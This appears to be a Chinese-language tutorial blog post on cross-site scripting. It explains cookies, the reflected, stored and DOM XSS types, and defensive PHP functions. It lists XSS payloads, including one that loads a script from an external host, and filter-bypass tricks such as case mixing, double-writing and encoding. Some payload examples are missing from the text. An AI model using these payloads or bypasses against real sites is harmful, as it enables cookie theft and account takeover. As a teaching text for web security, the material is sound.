网络安全进阶学习第二课——XSS跨站脚本攻击

这篇具有很好参考价值的文章主要介绍了网络安全进阶学习第二课——XSS跨站脚本攻击。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


一、前端安全

1、什么是前端安全

首先了解什么是前端。前端从定义上来讲是指一个网站的前台部分,是展示给用户看的部分。它不需要关注任何业务之间的逻辑处理,只需要安安静静地做好自己,老老实实的把自己最美的一面展示给用户。

2、什么是Cookie

Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息 。

Cookie 是临时的或者是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间。

持续的 Cookie 则保存在用户的 Cookie 文件中,下一次用户返回时,仍然可以对它进行调用。在 Cookie 文件中保存 Cookie,有些用户担心 Cookie 中的用户信息被一些别有用心的人窃取,而造成一定的损害。其实,网站以外的用户无法跨过网站来获得 Cookie 信息。如果因为这种担心而屏蔽 Cookie,肯定会因此拒绝访问许多站点页面。因为,当今有许多 Web 站点开发人员使用 Cookie 技术,例如 Session 对象的使用就离不开 Cookie 的支持。

3、Cookie的功能

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。

4、Cookie的生命周期

Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了(当然,不排除用户手工删除Cookie)。而还有一些Cookie在用户退出会话的时候就被删除了,这样可以有效保护个人隐私。

Cookie在生成时就会被指定一个Expire值,这就是Cookie的生存周期,在这个周期内Cookie有效。

5、常用的查看cookie插件

Cookie Quick Manager

6、XSS攻击能做什么

劫持cookie,模拟用户操作,钓鱼


二、常被利用的前端代码

1. <script>Javascript的内容</script>

2. 弹框函数:
alert(“文本”)       #只有一个确定的提示框
confirm(“文本”)   #拥有确定和取消的提示框
prompt(“文本”, “默认值”) #可以输入文字的框

3. JavaScript中的事件
<a href=“demo.html” 事件="alert('1');">test</a>
事件:
onmouseover:鼠标移入目标元素上方。鼠标移到其后代元素上时会触发。
onmouseout:鼠标移出目标元素上方。
onmouseenter:鼠标移入元素范围内触发,该事件不冒泡
onmouseleave:鼠标移出元素范围时触发,该事件不冒泡

4. <img src="" onerror=JS代码”/>
src:图片的来源,必写属性;
当图片加载失败时触发onerror的事件;

三、JavaScript中常见的对象

Document:
document.cookie返回cookie的值
document.location.href 跳转至某个页面
document.write 在页面中写入

String:
indexOf 返回某个指定的字符串值在字符串中首次出现的位置
对大小写敏感,没有发现时返回-1
length 返回字符串的长度

四、XSS原理

XSS又叫CSS(Cross Site Script),跨站脚本攻击。因为与html中的css样式同,所以称之为XSS。在OWASP top 10 2013年度中排第三名,在OWASP top 10 2017年度中排第7名。

属于web应用中计算机安全漏洞,是恶意的web访问者将脚本植入到提供给用户使用的页面中,通常是使用JavaScript编写的危险代码,当用户使用浏览器访问页面时,脚本会被执行,从而达到攻击者目的。

XSS攻击最终目的是在网页中嵌入客户端恶意代码,最常用的攻击代码是JavaScript语言,但也会使用其他的脚本语言,例如:ActionScript、VBScript。而如今的互联网客户端脚本基本上是基于JavaScript,所以如果想要深入研究XSS,必须要精通JavaScript。

XSS换句话说,JavaScript能够到什么效果,XSS的胃里就有多大。这完全不是危言耸听。JavaScript可以用于获取用户的cookie,弹出窗口,那么存在XSS漏洞的网站,XSS就可以用来盗取用户cookie,废掉页面,导航到恶意网站!更高端的XSS代码完全可以进行监控你的键盘操作,模仿windows注销界面,诱导你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入JavaScript代码!


五、XSS危害

  1. 网站弹框(刷流量)
  2. 网站挂马
  3. 会话劫持
  4. Cookie被盗取
  5. 用户提权
  6. 账号被盗
  7. 尽量DDOS
  8. 蠕虫攻击

六、作为一名渗透人员(黑客)如何去挖掘XSS漏洞?

  1. 寻找注入点,数据有交互的地方(搜索框、留言板)
  2. 根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。例子:'<>?"&/6666
  3. 如果有过滤则进行相关的绕过。

七、XSS的分类与利用

1、XSS实验常用语句

<script>alert(1)</script>

2、反射型(非持续型)

反射型跨站脚本也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到URL地址的参数中。

产生层面:前端
漏洞特征:一次性的、前端执行、不会储存在后端数据库
危害等级:中
注意:在黑客眼中,这个实际上没啥用,就是自己骗自己,影响只对自己有用,对其他人没效果。

原理

  1. 构造一个后端php文件( xss.php ):

    <?php $name=$_GET['name’]; echo"welcome $name"; ?>
  2. 前端访问这个xss.php页面,并使用name参数进行数据传递,数据值为2。
    例如在浏览器url栏输入:ip地址/xss.php?name=2

  3. 前端识别数据执行代码返回页面。
    数据交互过程:用户输入数据->后端执行php->返回数据给前端并执行(回显)

  4. 插入一个恶意js脚本()
    例如在浏览器url栏输入:
    ip地址/xss.php?name=

  5. 返回的代码并执行了

3、存储型(持续型)

此类XSS不需要用户单击特定URL就能执行跨站脚本。

攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。

当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

产生层面:后端
漏洞特征:持久性的、前端执行、储存在后端数据库
危害等级:高

3.1、交互原理:

用户输入数据->后端执行php代码->存入数据库某张表->返回数据给php页面->回显前端

3.2、数据库查看

die()				//函数输出一条消息,并退出当前脚本
trim()               //函数从字符串的两端删除空白字符和其他预定义字符
stripslashes()          	//删除反斜杠
mysql_real_escape_string()  //转义 SQL 语句中使用的字符串中的特殊字符
mysql_query(query)       //mysql_query() 函数执行一条 MySQL 查询
mysql_error()			//返回上一个 MySQL 操作产生的文本错误信息
use dvwa;
show tables;
select * from guestbook;
delete from guestbook where comment_id=1;

4、DOM型

XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。

程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。

浏览器用户可以操纵DOM中的一些对象,例如URL、location等。

用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,应用程序就可能受到基于DOM的XSS攻击。

产生层面:前端、特殊的反射型XSS
漏洞特征:一次性的、前端执行、不会储存在后端数据库
危害等级:中


八、XSS漏洞绕过方法

1、XSS常见语句

1.1、常见XSS语句标签,<script>
1<script>alert(1)</script>
2<script src=http://baidu.cn/xss/xss.js></script>
3)‘><script>alert(1)</script>

1.2、常见XSS语句标签,<img>
1<img src=x onerror=alert(/xss/)>
2<img src=javascript:alert(1)>//版本,E7.0|IE6.0,才能执行
3<img src=# onmouseover="alert(1)">

1.3、常见XSS语句标签,<input>
1<input onclick=alert(360)>
2<input onfocus="alert('xss');">
3<input onblur=alert("xss") autofocus><input autofocus>离开竞争焦点,从而触发onblur事件

1.4XSS 闭合标签
1)'><script>alert(1)</script>
2</script><script>alert(1)</script>

2、XSS漏洞绕过方法

1)大小写绕过	  		<ScRiPt>alert(1)</ScRiPt>
2)双写绕过		  	<sc<script>ript>alert(/xss/)</script>
3)反引号绕过			`` 绕过单双引号的过滤
4)关闭标签(利用<>关闭标签)          "> <script>alert(1)</script>
5)超链接标签			< a href= > 1 </ a>
6)图片链接绕过			< img src=1 onerror=alert(1)>
7)编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64) 
8)空格、回车、换行符、tab、混淆
..................

九、XSS漏洞之防御

1、防御手段

  1. CSP内容安全策略
  2. HttpOnly
  3. 输入输出检查

2、防御函数(PHP)

1trim()
//函数从字符串的两端删除空白字符和其他预定义字符

2stripslashes()
//删除反斜杠

3substr_replace(st1,st2,n) 
//str1 为原始字符串,str2为替换的字符串,n代表替换位置,第n位之后替换

4addslashes() 
//在预定义字符之前添加反斜杠的字符串

5strip_tags()
//剥去字符串中的 HTML、XML 以及 PHP 的标签

6htmlspecialchars()
//把预定义的字符转换为 HTML 实体

7preg_replace($mode,$replacement,$str [,int limit 匹配多少次])
//查找和替换子字符串(类似str_replace)
..................

十一、具体靶场例子

链接: pikache靶场通关——XSS漏洞文章来源地址https://www.toymoban.com/news/detail-500259.html


到了这里,关于网络安全进阶学习第二课——XSS跨站脚本攻击的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

    判断数据库类型 —— 判断表名 —— 判断列名 —— 判断列名长度 —— 查出数据。 asp的网站,常用数据库为access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述语句 会返回1或者0 。 msysobjects是access的默认数据库 , sysobjects是sqlserv

    2024年02月11日
    浏览(23)
  • 网络安全进阶学习第二十一课——XXE

    XXE(XML External Entity,XML) 外部实体 注入攻击。 — — 攻击者通过构造 恶意的外部实体 ,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍

    2024年02月06日
    浏览(25)
  • 网络安全测试中的跨站点脚本攻击(XSS):Python和FlaskSecurity实现跨站脚本攻击测试

    作者:禅与计算机程序设计艺术 引言 1.1. 背景介绍 跨站点脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者通过在受害者的浏览器上执行自己的脚本代码,窃取、修改用户的敏感信息。随着互联网的发展,跨站点脚本攻击在各类应用中愈发普遍。为了提高网络安全水平,

    2024年02月07日
    浏览(24)
  • 网络安全进阶学习第二十一课——XML介绍

    XML(eXtensible Markup Language),可扩展标记语言,是一种标记语言,使用简单标记描述数据;(另一种常见的标记语言是HTML) XML是一种非常灵活的语言, 没有固定的标签,所有标签都可以自定义 ; 通常 XML被用于信息的传递和记录 ,因此,xml经常被用于充当配置文件。如果把

    2024年02月06日
    浏览(21)
  • 网络安全进阶学习第二十课——CTF之文件操作与隐写

    ------ 当文件没有文件扩展名,或者具有文件扩展名但无法正常打开时,可以根据识别到的文件类型进行修改文件扩展名,从而使文件能够正常打开。 使用场景:不知道后缀名,无法打开文件。 格式: file myheart 这里就识别到是一个PCAP的流量包 ------ 通过WinHex程序可以查看文件

    2024年02月07日
    浏览(19)
  • 【网络安全---XSS漏洞(1)】XSS漏洞原理,产生原因,以及XSS漏洞的分类。附带案例和payload让你快速学习XSS漏洞

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 以pikachu靶场为例子进行讲解,pikachu靶场的搭建请参考以下博客; 【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安

    2024年02月08日
    浏览(19)
  • web安全学习日志---xss漏洞(跨站脚本攻击)

      仅执行一次,非持久型。主要存在于攻击者将恶意脚本附加到url的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。 利用场景: 直接插入JS代码,修改url参数    攻 scriptalert(\\\'hack\\\')/script 防 $name=str_replace(\\\'script\\\', \\\'  \\\',$name

    2024年02月13日
    浏览(60)
  • 机器学习和深度学习检测网络安全课题资料:XSS、DNS和DGA、恶意URL、webshell

    XSS 机器学习识别XSS实践 使用深度学习检测XSS 使用深度学习检测XSS(续) DNSDGA检测 使用CNN检测DNS隧道 探秘-基于机器学习的DNS隐蔽隧道检测方法与实现 DNS Tunnel隧道隐蔽

    2024年02月02日
    浏览(22)
  • 网络安全进阶学习第八课——信息收集

    信息收集(Information Gathering)信息收集是指通过各种方式获取所需要的信息。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 收集信

    2024年02月13日
    浏览(20)
  • 网络安全进阶学习第七课——文件包含漏洞

    开发人员通常会把可重复使用的函数写到单个文件中,在 使用某些函数 时, 直接调用此文件 ,而无需再次编写,这种调用文件的过程一般被称为包含。 为了使代码更加灵活,通常会将被包含的文件设置为 变量 ,用来进行动态调用,但正是由于这种灵活性,从而导致客户端

    2024年02月15日
    浏览(23)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包